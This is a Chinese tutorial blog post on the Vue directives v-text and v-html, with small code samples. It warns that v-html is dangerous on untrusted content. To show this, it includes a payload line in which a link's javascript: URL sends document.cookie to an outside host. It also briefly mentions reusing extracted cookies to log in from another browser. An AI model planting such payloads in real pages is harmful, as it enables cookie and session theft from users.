Vue指令 关于---v-html_指令 和 v-test_指令 详解

举报
可期 发表于 2021/12/14 21:44:15 2021/12/14
【摘要】 要学会大大方方的表达爱意,爱不是冷冰冰,爱是炙热的,永远都是,笨蛋才会说反话,笨蛋才会把喜欢的人越推越远 一.在讲解 v-test_指令 和v-html_指令 前我么先回顾一些基本指令: v-bind : 单项绑定解析表达式,可简写为 :xxx v-model : 双向数据绑定 v-for : 遍历数组,对象,字符串 v-on : 绑定...

要学会大大方方的表达爱意,爱不是冷冰冰,爱是炙热的,永远都是,笨蛋才会说反话,笨蛋才会把喜欢的人越推越远

一.在讲解 v-test_指令 和v-html_指令 前我么先回顾一些基本指令:

		v-bind  : 单项绑定解析表达式,可简写为 :xxx
        v-model : 双向数据绑定
        v-for   : 遍历数组,对象,字符串
        v-on    : 绑定事件监听,可简写为@
        v-if    : 条件渲染(动态控制节点是否存在)
        v-else  : 条件渲染(动态控制节点是否存在)
        v-show  : 条件渲染(动态控制节点是否展示)

如果大家忘了这些指令就去看看我之前的文章吧!温故而知新。

二.这里是关于v-test_指令

先创建一个容器

<div id="root">
        <h2>{{name}}</h2>
        <h2 v-text="name">你好</h2>
    </div>

Vue代码:

<script>
    new Vue({
        el:'#root',
        data:{
            name:'beijing'
        }        
    })
</script>

然后我们观察运行结果:
在这里插入图片描述

在容器h2标签中我们写入了 “你好”,但是在运行结果中却没有显示,由此我们可以得出结论:

1.v-test_指令 会替换掉文本内容
2.v-test_指令 可以向所在节点里渲染文本内容

三.这里是v-html_指令

先创建一个容器:

<div id="root">
        <h2>你好{{name}}</h2>
        <div v-html="str">11</div>
        <div v-html='str2'>11</div>
    </div>

Vue代码:

<script>
    new Vue({
        el:'#root',
        data:{
            name:'中华人民共和国',
            str:'<h2>hello China</h2>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>'
        }
    })
</script>

然后我们观察运行结果:
在这里插入图片描述
1.v-html指令功能
str:<h2>hello China</h2>
其中在这里我们可以向指定节点渲染包含html结构的内容,但是v-test就不能,这就是v-html的特殊功能之一。

2.v-html存在安全问题
那么在这里
str2:<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击这里有你想要的</a>
是一个超链接,如果了解cookie的可以看出,在这里这样使用那么这个服务器地址就会收集我们的cookie,那么如果让坏人拿到我们的cookie就相当于掌握了我们的个人信息。所以我们不能在网站上随意动态渲染HTML,十分危险。

3.同样在预览结果中我们可以观察到在节点中的内容没有显示,所以由此得出v-html也会替代节点内容

四.总结

讲述玩以上内容我们来做一个总结:

(一)v-text指令;
        1.作用:向所在节点里渲染文本内容
        2.与插值语法的区别:v-text会替代换掉文本的内容,{{xx}}则不会
(二)v-html指令:
        1.作用:向指定节点渲染包含html结构的内容
        2.与插值语法的区别:
            (1)v-html 会替代掉节点中所有包含的内容,{{xxx}}则不会
            (2)v-html 会识别HTML结构
        3.严重注意:v-html有安全性问题!
            (1)在网站上动态渲染任意HTML是非常危险的,容易导致xss攻击
            (2)一定要在可信的内容上使用v-hmtl,永远不要用在用户提交的内容!!

在自己电脑上了解cookie时我们可以使用Cookie Editor插件来提取服务器给我们发送的cookie,然后使用获取到cookie在其他浏览器利用我们获取到的cookie登录个人信息。

注: 一定不要将v-html使用在用户提交的内容中

【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。